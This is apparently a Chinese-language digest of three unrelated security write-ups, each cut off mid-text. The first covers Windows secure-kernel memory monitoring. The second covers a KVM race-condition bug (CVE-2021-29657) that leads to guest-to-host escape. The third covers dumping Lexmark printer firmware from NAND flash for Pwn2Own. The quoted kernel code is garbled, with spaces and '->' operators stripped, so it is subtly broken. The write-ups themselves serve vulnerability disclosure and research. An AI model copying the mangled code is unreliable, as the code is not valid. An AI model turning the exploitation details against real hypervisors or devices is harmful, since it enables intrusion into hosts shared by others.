安全內存範圍本質上與普通內存範圍非常相似,主要區別在於它們由安全內核本身初始化以及它們所保護的內容的詳細信息。 生成SkpgExtentSecureModule類型的範圍來監控加載到安全內核空間中的所有映像。這是通過迭代SkLoadedModuleList全局列表來完成的,它和普通內核的PsLoadedModuleList一樣,是一個KLDR_DATA_TABLE_ENTRY結構的鍊錶,表示所有加載的模塊。對於其中的每個模塊,都調用SkpgCreateSecureModuleExtents來生成範圍。 為此,SkpgCreateSecureModuleExtents 一次接收一個加載的DLL 的KLDR_DATA_TABLE_ENTRY,驗證它是否存在於PsInvertedFunctionTable(包含所有加載的DLL 的基本信息的表,主要用於快速搜索異常處理程序),然後枚舉模塊。安全模塊中的大多數部分都使用SKPG_EXTENT 進行監控,但不受修改保護。只有一個部分受到保護,TABLERO 部分: TABLERO 部分是僅存在於少數二進製文件中的數據部分。在普通內核中,它存在於Win32k.sys 中,其中包含win32k 系統服務表。在安全內核中,securekernel.exe 中存在TABLERO 部分,其中包含全局變量,例如SkiSecureServiceTable、SkiSecureArgumentTable、SkpgContext、SkmiNtPteBase 等: 當SkpgCreateSecureModuleExtents 遇到TABLERO 部分時,它會調用SkmmProtectKernelImageSubsection 將部分頁面的PTE 從默認的讀寫更改為只讀。 然後,對於每個範圍,無論其類型如何,都會創建一個類型為SkpgExtentSecureModule的範圍。如果段是可執行的,則每個內存區域將被哈希成範圍標記中的一個標誌。每個範圍生成的範圍數量可能不同:如果在計算機上啟用了hotpatch,將為受保護映像範圍中的每個頁面生成單獨的範圍。否則,每個受保護的部分會生成一個可能覆蓋多個頁面的範圍,所有這些範圍都使用SkpgExtentSecureModule類型: 如果啟用了hotpatch,則為每個安全模塊創建最後一個安全模塊區。變量SkmiHotPatchAddressReservePages將指示在模塊末尾有多少個頁面被預留給HotPatch使用,並為每個頁面創建一個範圍。與前面描述的普通內核模塊範圍的方式類似,每個範圍描述一個頁面,範圍類型是SkpgExtentPartialMemory,類型SkpgExtentSecureModule被放置在範圍的一個類型特定的字段中。 另一個安全範圍類型是SkpgExtentSecureMemory。這是一個通用範圍類型,用於指示安全內核中的任何內存範圍。但是,目前它僅用於監控由安全內核處理器塊(SKPRCB)指向的GDT。這是一個內部結構,其目的類似於普通內核的KPRCB(類似地,它們的數組存在於SkeProcessorBlock中)。對於系統中的每個處理器,都有一個這種類型的範圍。此外,該函數在每個KGDTENTRY64結構的Type字段中設置一個位,以表明這個條目已經被訪問,並防止它在以後被修改,但是在偏移量0x40處的TSS條目將被跳過: 這基本上涵蓋了內存區的初始化和使用。
  24. 0x01 基本介紹KVM(用於基於內核的虛擬機)是基於Linux 的雲環境的標準管理程序。除了Azure ,幾乎所有大型雲服務和託管服務提供商都在KVM 之上運行,將其變成了雲服務中的基本安全邊界之一。 在這篇文章中,我記錄了KVM 和AMD CPU 中發現的一個漏洞,並研究瞭如何將此bug轉化為完整的虛擬機逃逸。據我所知,這是KVM guest到物理主機突破的第一篇公開文章,它不依賴於用戶空間組件(如QEMU)中的漏洞。此漏洞被分配的漏洞編號是CVE-2021-29657,影響內核版本v5.10-rc1 到v5.12-rc6, 並於2021 年3月底做了修補。由於該漏洞僅在v5.10 中才可被利用並在大約5 個月後被發現,因此KVM 的大多數部署設備不受影響。我認為這個問題是一個有趣的案例研究,需要構建一個穩定的guest到主機的KVM 逃逸路徑,使得獲取KVM虛擬機管理程序權限不再僅僅是理論問題。 https://bugs.chromium.org/p/project-zero/issues/detail?id=2177q=owner%3Afwilhelm%40google.comcan=1 https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=a58d9166a756a0f4a6618e4f593232593d6df134下文首先簡要概述KVM 的架構,然後再深入研究漏洞及其利用。 0x02 KVMKVM 是一個基於Linux 的開源管理程序,支持x86、ARM、PowerPC 和S/390 上的硬件加速虛擬化。與其他大型開源管理程序Xen 相比,KVM 與Linux 內核深度集成,並在其調度、內存管理和硬件集成的基礎上構建,以提供高效的虛擬化。 KVM 由一個或多個內核模塊(kvm.ko 加上kvm-intel.ko 或x86 上的kvm-amd.ko)實現,它們通過/dev/kvm 設備向用戶空間進程公開一個基於IOCTL 的低級API。使用此API,用戶空間進程(通常稱為Virtual Machine Manager 的VMM)可以創建新的VM,分配vCPU 和內存,並攔截內存或IO 訪問以提供對模擬或虛擬化感知硬件設備的訪問。 長期以來,QEMU一直是基於KVM 的虛擬化的標準用戶空間選擇,但在最近幾年,LKVM、crosvm 或Firecracker等替代方案開始流行。 低級API:https://www.kernel.org/doc/html/latest/virt/kvm/api.html [LKVM](https://github.com/lkvm/lkvm) [crosvm](https://chromium.googlesource.com/chromiumos/platform/crosvm/) [Firecracker](https://github.com/firecracker-microvm/firecracker)雖然KVM 依賴於單獨的用戶空間組件起初可能看起來很複雜,但它有一個非常優秀的好處:在KVM 主機上運行的每個VM 都有一個到Linux 進程的1:1 映射,使其可以使用標準Linux 工具進行管理。 這意味著,例如,可以通過轉儲其用戶空間進程的分配內存來檢查guest的內存,或者可以輕鬆應用CPU 時間和內存的資源限制。此外,KVM 可以將大部分與設備模擬相關的工作卸載到用戶空間組件。除了與中斷處理相關的幾個性能敏感設備之外,所有用於提供虛擬磁盤、網絡或GPU 訪問的複雜低級代碼都可以在用戶空間中實現。 在查看KVM 相關漏洞和利用的公開文章時,很明顯這種設計是一個明智的決定。大多數公開的漏洞和所有公開可用的漏洞都會影響QEMU 及其對模擬/半虛擬化設備的支持。 儘管KVM 的內核攻擊面比默認QEMU 配置或類似的用戶空間VMM 暴露的要小得多,但KVM 漏洞對攻擊者來說非常的有價值: 儘管可以對用戶空間VMM 進行沙箱化以減少VM 逃逸的影響,但KVM 本身沒有這樣的選項。一旦攻擊者能夠在主機內核的上下文中實現代碼執行(或類似的強大原語,如對頁表的寫訪問),系統就會完全受到損害。 由於QEMU 的安全歷史有些糟糕,像crosvm 或Firecracker 這樣的新用戶空間VMM 是用Rust編寫的。當然,由於KVM API 的不正確使用或漏洞利用,仍然可能存在非內存安全漏洞或問題,但使用Rust 有效地防止了過去在基於C 的用戶空間VMM 中發現的大部分漏洞。 最後,純KVM 漏洞可以針對使用專有或大量修改的用戶空間VMM 的目標。雖然大型雲提供商不會公開詳細介紹他們的虛擬化堆棧組件,但可以假設他們不依賴未修復的QEMU 版本來處理其生產工作負載。相比之下,KVM 較小的代碼庫不太可能進行大量修改。 考慮到這些優勢,我決定花一些時間挖掘一個KVM 漏洞,該漏洞可能會實現從客戶機到主機的逃逸。過去,我在KVM 對Intel CPU 上嵌套虛擬化的支持組件中挖掘到一些漏洞,因此可以想像AMD 的相同功能似乎也是一個很好的挖掘點。因為最近AMD 在服務器領域的市場份額增加意味著KVM 的AMD 實現突然成為一個比過去幾年更有趣的目標。 https://bugs.chromium.org/p/project-zero/issues/list?q=vmxowner%3Afwilhelmcan=1嵌套虛擬化,VM(稱為L1)生成嵌套guest(L2)的能力,在很長一段時間內也是一個小眾功能。然而,由於硬件改進減少了它的開銷並增加了客戶需求,它變得越來越廣泛可用。例如,微軟正在大力推動基於虛擬化的安全性作為較新Windows 版本的一部分,需要嵌套虛擬化來支持雲託管的Windows 安裝。 默認情況下,KVM 在AMD 和Intel上都啟用對嵌套虛擬化的支持,因此如果管理員或用戶空間VMM 沒有明確禁用它,它就是惡意或受感染VM 的攻擊面的一部分。 https://docs.microsoft.com/en-us/windows-hardware/design/device-experiences/oem-vbsAMD 的虛擬化擴展稱為SVM(用於安全虛擬機),為了支持嵌套虛擬化,主機管理程序需要攔截由其guest執行的所有SVM 指令,模擬它們的行為並保持其狀態與底層硬件同步。正確實現這一點非常困難,並且存在很大的複雜邏輯缺陷,使其成為手動代碼審查的完美目標。 0x03 漏洞細節在深入研究KVM 代碼庫和我發現的漏洞之前,我想快速介紹一下AMD SVM 的工作原理,以使文章的其餘部分更容易理解。有關詳細文檔,請參閱AMD64 架構程序員手冊,第2 卷:系統編程第15 章。如果通過設置EFER MSR 中的SVME 位啟用SVM 支持,則SVM 將支持6 條新指令到x86-64。這些指令中最有趣的是VMRUN ,它負責運行VMguest。 VMRUN通過RAX 寄存器獲取一個隱式參數,該參數指向“虛擬機控制塊”(VMCB)數據結構的頁面對齊物理地址,它描述了VM 的狀態和配置。 AMD64架構程序員手冊,第2卷:系統編程第15章:https://www.amd.com/system/files/TechDocs/24593.pdfVMCB 分為兩部分:首先是狀態保存區,它存儲所有guest寄存器的值,包括段和控制寄存器。第二,控制區,描述了虛擬機的配置。 Control 區域描述了為VM 啟用的虛擬化功能,設置攔截哪些VM 操作以觸發VM 退出並存儲一些基本配置值,例如用於嵌套分頁的頁表地址。 用於嵌套分頁的頁表地址:https://en.wikipedia.org/wiki/Second_Level_Address_Translation如果正確準備了VMCB,VMRUN 將首先將主機狀態保存在主機保存區的內存區域中,其地址是通過向VM_HSAVE_PA MSR 寫入物理地址來配置的。一旦保存了主機狀態,CPU 就會切換到VM 上下文,並且VMRUN 僅在由於某種原因觸發VM 退出時才返回。 SVM 的一個有趣方面是,VM 退出後的許多狀態恢復必須由管理程序完成。一旦發生VM 退出,只有RIP、RSP 和RAX 會恢復為之前的主機值,所有其他通用寄存器仍包含guest值。此外,完整的上下文切換需要手動執行VMSAVE/VMLOAD 指令,這些指令從內存中保存/加載額外的系統寄存器(FS、SS、LDTR、STAR、LSTAR……)。 為了使嵌套虛擬化工作,KVM 會攔截VMRUN 指令的執行,並基於L1 guest準備的VMCB(在KVM 術語中稱為vmcb12)創建自己的VMCB。當然,KVM 不能信任guest提供的vmcb12,並且需要仔細驗證最終在傳遞給硬件(稱為vmcb02)的真實VMCB 中的所有字段。 AMD 上用於嵌套虛擬化的KVM 代碼大部分在arch/x86/kvm/svm/nested.c中實現,攔截嵌套guest的VMRUN 指令的代碼在nested_svm_vmrun 中實現: https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/tree/arch/x86/kvm/svm/nested.c?h=v5.11 intnested_svm_vmrun(structvcpu_svm*svm) { intret; structvmcb*vmcb12; structvmcb*hsave=svm-nested.hsave; structvmcb*vmcb=svm-vmcb; structkvm_host_mapmap; u64vmcb12_gpa; vmcb12_gpa=svm-vmcb-save.rax;**1** ret=kvm_vcpu_map(svm-vcpu,gpa_to_gfn(vmcb12_gpa),map);**2** … ret=kvm_skip_emulated_instruction(svm-vcpu); vmcb12=map.hva; if(!nested_vmcb_checks(svm,vmcb12)){**3** vmcb12-control.exit_code=SVM_EXIT_ERR; vmcb12-control.exit_code_hi=0; vmcb12-control.exit_info_1=0; vmcb12-control.exit_info_2=0; gotoout; } . /* *Savetheoldvmcb,sowedon'tneedtopickwhatwesave,butcan *restoreeverythingwhenaVMEXIToccurs */ hsave-save.es=vmcb-save.es; hsave-save.cs=vmcb-save.cs; hsave-save.ss=vmcb-save.ss; hsave-save.ds=vmcb-save.ds; hsave-save.gdtr=vmcb-save.gdtr; hsave-save.idtr=vmcb-save.idtr; hsave-save.efer=svm-vcpu.arch.efer; hsave-save.cr0=kvm_read_cr0(svm-vcpu); hsave-save.cr4=svm-vcpu.arch.cr4; hsave-save.rflags=kvm_get_rflags(svm-vcpu); hsave-save.rip=kvm_rip_read(svm-vcpu); hsave-save.rsp=vmcb-save.rsp; hsave-save.rax=vmcb-save.rax; if(npt_enabled) hsave-save.cr3=vmcb-save.cr3; else hsave-save.cr3=kvm_read_cr3(svm-vcpu); copy_vmcb_control_area(hsave-control,vmcb-control); svm-nested.nested_run_pending=1; if(enter_svm_guest_mode(svm,vmcb12_gpa,vmcb12))**4** gotoout_exit_err; if(nested_svm_vmrun_msrpm(svm)) gotoout; out_exit_err: svm-nested.nested_run_pending=0; svm-vmcb-control.exit_code=SVM_EXIT_ERR; svm-vmcb-control.exit_code_hi=0; svm-vmcb-control.exit_info_1=0; svm-vmcb-control.exit_info_2=0; nested_svm_vmexit(svm); out: kvm_vcpu_unmap(svm-vcpu,map,true); returnret; }該函數首先從當前活動的vmcb ( svm-vcmb ) 中獲取1中的RAX 的值。對於使用嵌套分頁的guest,RAX 包含一個guest物理地址(GPA),需要先將其轉換為主機物理地址(HPA)。 kvm_vcpu_map ( 2 ) 負責此轉換並將底層頁面映射到可由KVM 直接訪問的主機虛擬地址(HVA)。 映射VMCB 後, 將調用nested_vmcb_checks在3 中進行一些基本驗證。之後, 在KVM通過調用enter_svm_guest_mode ( 4 )進入嵌套的guest context之前,將存儲在svm-vmcb中的L1 guest context 複製到主機保存區svm-nested.hsave中。 intenter_svm_guest_mode(structvcpu_svm*svm,u64vmcb12_gpa,structvmcb*vmcb12) { intret; svm-nested.vmcb12_gpa=vmcb12_gpa; load_nested_vmcb_control(svm,vmcb12-control); nested_prepare_vmcb_save(svm,vmcb12); nested_prepare_vmcb_control(svm); ret=nested_svm_load_cr3(svm-vcpu,vmcb12-save.cr3, nested_npt_enabled(svm)); if(ret) returnret; svm_set_gif(svm,true); return0; } staticvoidload_nested_vmcb_control(structvcpu_svm*svm, structvmcb_control_area*control) { copy_vmcb_control_area(svm-nested.ctl,control); . }查看enter_svm_guest_mode 我們可以看到KVM 將vmcb12 控制區直接複製到svm-nested.ctl 中,並且不會對複制的值進行任何進一步的檢查。 熟悉double fetch 或Time-of-Check-to-Time-of-Use 漏洞的讀者可能已經在這裡看到了一個潛在問題:在nested_svm_vmrun 開頭對nested_vmcb_checks的調用對VMCB的副本執行所有檢查,該副本是存儲在guest內存中。這意味著具有多個CPU 內核的guest可以在nested_vmcb_checks 中驗證VMCB 中的字段後,在將它們複製到load_nested_vmcb_control 中的svm-nested.ctl 之前修改它們。 讓我們看一下nested_vmcb_checks ,看看可以用這種方法繞過什麼樣的檢查: staticboolnested_vmcb_check_controls(structvmcb_control_area*control) { if((vmcb_is_intercept(control,INTERCEPT_VMRUN))==0) returnfalse; if(control-asid==0) returnfalse; if((control-nested_ctlSVM_NESTED_CTL_NP_ENABLE) !npt_enabled) returnfalse; returntrue; }control-asid 沒有使用,最後一次檢查僅與不支持嵌套分頁的系統相關。 SVM VMCB 包含一個bit,用於在guest內部執行時啟用或禁用VMRUN 指令的攔截。硬件實際上不支持清除此位,並會導致立即VMEXIT,因此,nested_vmcb_check_controls 中的檢查只是複制了此行為。當我們通過反复翻轉INTERCEPT_VMRUN 位的值來競爭並繞過檢查時,我們最終可能會遇到svm-nested.ctl 包含0 代替INTERCEPT_VMRUN 位的情況。要了解影響,我們首先需要了解嵌套的vmexit 在KVM 中是如何處理的: 主SVM退出處理句柄是在arch/x86/kvm/svm.c中的函數handle_exit ,每當發生VMEXIT被調用就會調用此函數。當KVM 運行嵌套的guest時,它首先必須檢查退出是否應該由它自己或L1 管理程序處理。為此,它調用了函數nested_svm_exit_handled ( 5 ),如果vmexit 將由L1 管理程序處理並且不需要由L0 管理程序進一步處理,則該函數將返回NESTED_EXIT_DONE : https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/tree/arch/x86/kvm/svm/svm.c?h=v5.11 staticinthandle_exit(structkvm_vcpu*vcpu,fastpath_texit_fastpath) { structvcpu_svm*svm=to_svm(vcpu); structkvm_run*kvm_run=vcpu-run; u32exit_code=svm-vmcb-control.exit_code; … if(is_guest_mode(vcpu)){ intvmexit; trace_kvm_nested_vmexit(exit_code,vcpu,KVM_ISA_SVM); vmexit=nested_svm_exit_special(svm); if(vmexit==NESTED_EXIT_CONTINUE) vmexit=nested_svm_exit_handled(svm);**5** if(vmexit==NESTED_EXIT_DONE) return1; } } staticintnested_svm_intercept(structvcpu_svm*svm) { //exit_code==INTERCEPT_VMRUNwhentheL2guestexecutesvmrun u32exit_code
  25. 2021年11月3日,Zero Day Initiative Pwn2Own宣布,NCC Group EDG(Exploit Development Group)在MC3224i打印機固件中發現了一個遠程漏洞,攻擊者可以利用該漏洞獲得該設備的完全控制權限。請注意,這裡的打印機運行的是最新版本的固件CXLBL.075.272。 Lexmark MC3224i是一款廣受歡迎的多合一彩色激光打印機,在各個電商網站上都賣的很火,所以,Austin 2021 Pwn2Own也將其列為安全測試對象之一。 目前,該漏洞已經得到了修復。在下一篇文章中,我們將詳細介紹該漏洞的詳情以及相應的利用方法。 由於Lexmark公司對提供給消費者的固件更新包進行了加密處理,這無疑提高了相關二進制代碼的分析難度。由於我們的研究時間只有一個多月,而且關於目標的參考資料基本為零,所以,我們決定拆下閃存,並使用編程器來提取其中的固件,因為我們(正確地)估計固件是以未加密的形式存儲的。這樣做的好處是,可以避開固件更新包加密所造成的障礙。提取固件後,可以對二進製文件進行逆向分析,以檢查其中是否存在遠程代碼執行漏洞。 從閃存中提取固件PCB概述我們發現,主印刷電路板(PCB)位於打印機的左側。該設備由專為打印機行業設計的Marvell 88PA6220-BUX2片上系統(SoC)進行供電的,而固件則存儲在Micron MT29F2G08ABAGA NAND閃存(2Gb,即256MB)中。並且,NAND閃存可以很容易地在PCB的左下方找到: 串行輸出之後,我們很快就找到了UART連接器,因為它在PCB上被標為JRIP1,具體如下圖所示: 之後,我們焊接了三根線,分別用於: 查看啟動日誌,通過觀察設備的分區信息了解閃存的佈局情況。 掃描啟動日誌,看看是否有跡象表明打印機進行了軟件簽名驗證。 希望能在引導加載程序(U-Boot)或操作系統(Linux)中獲得一個shell。 打印機啟動過程中,串行輸出(115200波特)的內容如下所示: SiGe2-RevB3.3.22-9h121425 TIME=TueMar1021:02:362020;COMMIT=863d60b uidc FailureEnablingAVSworkaroundon88PG870 settingAVSVoltageto1050 Bank5Reg2=0x0000381E,VoltBin=0,efuseEscape=0 AVSefuseValues: EfuseProgramed=1 LowVDDLimit=32 HighVDDLimit=32 TargetDRO=65535 SelectVsense0=0 a CallingConfigure_Flashes@0xFFE010A812FE13E0026800 fves DDR3400MHz1x164Gbit rSHAcomparePassed0 SHAcomparePassed0 l LaunchAPCore0@0x00100000 U-Boot2018.07-AUTOINC+761a3261e9(Feb282020-23:26:43+0000) DRAM:512MiB NAND:256MiB MMC:mv_sdh:0,mv_sdh:1,mv_sdh:2 lxk_gen2_eeprom_probe:123:Nopaneleepromoptionfound. lxk_panel_notouch_probe_gen2:283:paneluicctype68,hwvers19,panelid98,displaytype11,firmwarev4.5,lvds4 foundsmpndisplayTM024HDH49/ILI9341default lcd_lvds_pll_init:Requestingdotclk=40000000Hz foundsmpndisplayYeebo2.8B ubi0:defaultfastmappoolsize:100 ubi0:defaultfastmapWLpoolsize:50 ubi0:attachingmtd1 ubi0:attachedbyfastmap ubi0:fastmappoolsize:100 ubi0:fastmapWLpoolsize:50 ubi0:attachedmtd1(name'mtd=1',size253MiB) ubi0:PEBsize:131072bytes(128KiB),LEBsize:126976bytes ubi0:min./max.I/Ounitsizes:2048/2048,sub-pagesize2048 ubi0:VIDheaderoffset:2048(aligned2048),dataoffset:4096 ubi0:goodPEBs:2018,badPEBs:8,corruptedPEBs:0 ubi0:uservolume:7,internalvolumes:1,max.volumescount:128 ubi0:max/meanerasecounter:2/1,WLthreshold:4096,imagesequencenumber:0 ubi0:availablePEBs:0,totalreservedPEBs:2018,PEBsreservedforbadPEBhandling:32 Loadingfile'/shared/pm/softoff'toaddr0x1f6545d4. UnmountingUBIFSvolumeInternalStorage! Carddidnotrespondtovoltageselect! bootcmd:setenvcramfsaddr0x1e900000;ubiread0x1e900000Kernel0xa67208;sha256verify0x1e9000000x1f3670001;cramfsload0x100000/main.img;source0x100000;loop.l0xd00000001 Read10908168bytesfromvolumeKernelto1e900000 Codeauthenticationsuccess ###CRAMFSloadcomplete:2165bytesloadedto0x100000 ##Executingscriptat00100000 ###CRAMFSloadcomplete:4773416bytesloadedto0xa00000 ###CRAMFSloadcomplete:4331046bytesloadedto0x1600000 ##BootingkernelfromLegacyImageat00a00000. ImageName:Linux-4.17.19-yocto-standard-74b ImageType:ARMLinuxKernelImage(uncompressed) DataSize:4773352Bytes=4.6MiB LoadAddress:00008000 EntryPoint:00008000 ##LoadinginitRamdiskfromLegacyImageat01600000. ImageName:initramfs-image-granite2-2020063 ImageType:ARMLinuxRAMDiskImage(uncompressed) DataSize:4330982Bytes=4.1MiB LoadAddress:00000000 EntryPoint:00000000 ##FlattenedDeviceTreeblobat01500000 Bootingusingthefdtblobat0x1500000 LoadingKernelImage.OK UsingDeviceTreeinplaceat01500000,end01516aff UPDATINGDEVICETREEWITHst:1fec4000sz:12c000 Startingkernel. BootingLinuxonphysicalCPU0xffff00 Linuxversion4.17.19-yocto-standard-74b7175b2a3452f756ffa76f750e50db(oe-user@oe-host)(gccversion7.3.0(GCC))#1SMPPREEMPTMonJun2919:46:01UTC2020 CPU:ARMv7Processor[410fd034]revision4(ARMv7),cr=30c5383d CPU:divinstructionsavailable:patchingdivisioncode CPU:PIPT/VIPTnonaliasingdatacache,VIPTaliasinginstructioncache OF:fdt:Machinemodel:mv6220Lionfish00dL earlycon:early_pxa0atMMIO320x00000000d4030000(options'') bootconsole[early_pxa0]enabled FIXignoringexception0xa11addr=fb7ffffeswapper/0:1 .根據我們在審查其他設備方面的經驗來說,有時可以通過訪問UART引腳獲得完整的Linux shell。不過,在MC3224i設備上,UART RX引腳似乎沒有被啟用,因此,我們只能查看引導日誌,而無法與系統進行交互。它可能是通過SoC上的E型保險絲來禁用引腳的。或者,零歐姆電阻器可能已經從生產設備的PCB上移除,在這種情況下,我們就有機會重新啟用它。由於我們的主要目標是拆除閃存並提取固件,所以,我們沒有進一步研究這個引腳。 從閃存中轉儲固件拆除和轉儲(或重新編程)閃存比大多數人想像中的要容易得多,而且這樣做的好處有很多:它通常允許我們啟用調試功能,獲得對Shell的訪問權,讀取敏感密鑰,並在某些情況下繞過固件簽名驗證。在我們的案例中,我們的目標是提取文件系統,並對二進製文件進行逆向工程,因為Pwn2Own規則明確規定,只有遠程執行的漏洞才能被接受。不過,對exploit開發工作來說,則沒有任何限制。重要的是,要把exploit的開發和執行看作是不同的工作。雖然執行過程決定了攻擊的可擴展性和攻擊者的成本,但利用代碼的開發過程(或NRE)只需要一次,因此,即使我們在後者上面消耗了大量的時間和設備,也不會對執行工作造成影響。而防御者的工作,就增加exploit的執行難度。 借助於熱風機之類的工具,我們可以輕鬆將閃存拆下來。在清洗完引腳後,我們使用帶有TSOP-48適配器的TNM5000編程器來讀取閃存的內容。首先,我們要確保閃存正確連接到適配器上,選擇正確的閃存標識符,然後,我們就可以讀取閃存的全部內容,並將其保存到文件中了。重新安裝閃存時,也需要仔細進行,以確保設備的功能不受影響。整個過程大約花了一個小時,包括在顯微鏡下測試連接。萬幸的是,打印機成功地啟動了! 好了,這部分工作就大功告成了…… 轉儲的閃存映像的長度正好是285,212,672字節,很明顯,這比256MB(268,435,456字節)還要長。這是因為,在讀取閃存的原始讀取時,還包括備用區域,也被稱為頁面OOB(帶外)數據區域。下面的內容來自Micron公司的說明文檔: 內部ECC對於主要區域的每528字節(x8)和備用區域的每16字節(x8)提供了9位檢測碼和8位校正碼。 [.] 在PROGRAM操作過程中,在頁面被寫入NAND Flash陣列之前,設備會在緩存寄存器中的2k頁面上計算ECC代碼。 ECC代碼被存儲在頁面的備用區域。 在讀操作中,頁面數據從陣列中被讀到緩存寄存器中,在那裡ECC代碼被計算出來,並與從陣列中讀取的ECC代碼值進行比較。如果檢測出1-8位的錯誤,將通過高速緩存寄存器進行糾正。只有經過糾正的數據,才會在I/O總線上輸出。 NAND閃存是以內存頁為單位進行編程和讀取的。一個內存頁由2048字節的可用存儲空間和128字節的OOB組成,後者用於存儲糾錯代碼和壞塊管理的標誌,也就是說,頁面的總長度為2176字節。不過,對於擦除操作來說,則是以塊為單位進行的。根據Micron公司的文檔,對於這個閃存部分,一個塊由64頁組成,總共有128KB的可用數據。該閃存由兩個面組成,每個麵包含1024個塊,因此: 2planes*1024blocks/plane*64pages/block*(2048+128)bytes/page=285,212,672由於備用區域僅用於閃存管理,並且不包含有用的用戶數據,因此,我們編寫了一個小腳本,將每個2048字節的頁面後面128字節的OOB數據刪除,結果文件長度正好是256MB。 分析轉儲的固件提取Marvell映像還記得我們說過該打印機是由Marvell芯片組供電的嗎?這時,這些信息就排上用場了。雖然88PA6220是專門為打印機行業設計的,但其固件映像的格式看起來與其他Marvell SoC是一樣的。因此,GitHub上有許多類似處理器的文件或代碼,可以作為參考。例如,我們看到該映像以TIM(可信映像模塊)頭部開始。該頭部包含大量關於其他映像的信息,其中一些信息被用來提取單個映像: TIM頭部的格式如下面最後一個結構體所示(顯然,它假定OOB數據已經被刪除): typedefstruct{ unsignedintVersion; unsignedintIdentifier; unsignedintTrusted; unsignedintIssueDate; unsignedintOEMUniqueID; }VERSION_I; typedefstruct{ unsignedintReserved[5]; unsignedintBootFlashSign; }FLASH_I,*pFLASH_I; //Constantpartoftheheader typedefstruct{ { VERSION_IVersionBind; FLASH_IFlashInfo; unsignedintNumImages; unsignedintNumKeys; unsignedintSizeOfReserved; }CTIM,*pCTIM; typedefstruct{ uint32_tImageID;//IndicatewhichImage uint32_tNextImageID;//Indicatenextimageinthechain uint32_tFlashEntryAddr;//BlocknumbersforNAND uint32_tLoadAddr; uint32_tImageSize; uint32_tImageSizeToHash; HASHALGORITHMID_THashAlgorithmID;//SeeHASHALGORITHMID_T uint32_tHash[16];//Reserve512bitsforthehash uint32_tPartitionNumber; }IMAGE_INFO_3_4_0,*pIMAGE_INFO_3_4_0;//0x60bytes typedefstruct{ unsignedintKeyID; unsignedintHashAlgorithmID; unsignedintModulusSize; unsignedintPublicKeySize; unsignedintRSAPublicExponent[64]; unsignedintRSAModulus[64]; unsignedintKeyHash[8]; }KEY_MOD,*pKEY_MOD; typedefstruct{ pCTIMpConsTIM;//Constantpart pIMAGE_INFOpImg;//PointertoImages(v3.4.0) pKEY_MODpKey;//PointertoKeys unsignedint*pReserved;//PointertoReservedArea pPLAT_DSpTBTIM_DS;//PointertoDigitalSignature }TIM;正如下文所詳述的那樣,該處理器的保護措施是由Lexmark團隊提供的,所以,讓我們先來看看有助於提取映像的相關字段。關於每個字段的完整描述,請參考這裡的參考手冊: VERSION_I:常規TIM頭部信息。 Version (0x00030400):TIM頭部的版本(3.4.0)。它對以後確定使用哪個版本的映像信息結構(IMAGE_INFO_3_4_0)非常有用。 Identifier (0x54494D48):其值總是ASCII字符串“TIMH”,用於識別有效頭部。 Trusted (0x00000001):0代表不安全的處理器,1代表安全。該處理器已經被Lexmark保護起來,因此,只有經過簽名的固件才允許在這些設備上運行。 FLASH_I:啟動閃存屬性。 NumImages (0x00000004):表示頭部中有四個結構體,描述構成固件的映像。 NumKeys (0x00000001):這個頭部中有一個密鑰信息結構體。 SizeOfReserved (0x00000000):在TIM頭部末尾的簽名之前,OEM可以保留最多4KB(sizeof(TIMH))空間供其使用。 Lexmark沒有使用這個功能。 IMAGE_INFO_3_4_0:映像1的信息。 ImageID (0x54494D48):映像的ID('TIMH'),本例中為TIM頭部。 NextImageID (0x4F424D49):下一個映像的ID('OBMI'),OEM啟動模塊映像。 FlashEntryAddr (0x00000000):TIM頭部對應的閃存索引。 ImageSize (0x00000738):映像的大小,1,848字節被頭部佔用。 IMAGE_INFO_3_4_0 :映像2的信息。 ImageID (0x4F424D49):映像的ID('OBMI'),OEM啟動模塊映像。 OBM由Marvell公司提供,負責啟動打印機所需的任務。看一下UART的啟動日誌,在U-Boot啟動信息之前顯示的所有內容,都是由OBM代碼顯示的。至於功能方面,OBM將設置DDR和應用處理器核心0,並對隨後加載的固件(U-Boot)進行了固件簽名驗證。 NextImageID (0x4F534C4F):下一個映像的ID('OSLO')。 FlashEntryAddr (0x00001000):OBMI的閃存索引。 ImageSize (0x0000FD40):映像的大小,OBMI長度為64,832字節。 IMAGE_INFO_3_4_0:映像3的信息。 ImageID (0x4F534C4F):映像的ID('OSLO'),包含U-Boot代碼。 NextImageID (0x54524458):下一個映像的ID('TRDX')。 FlashEntryAddr (0x000C0000):O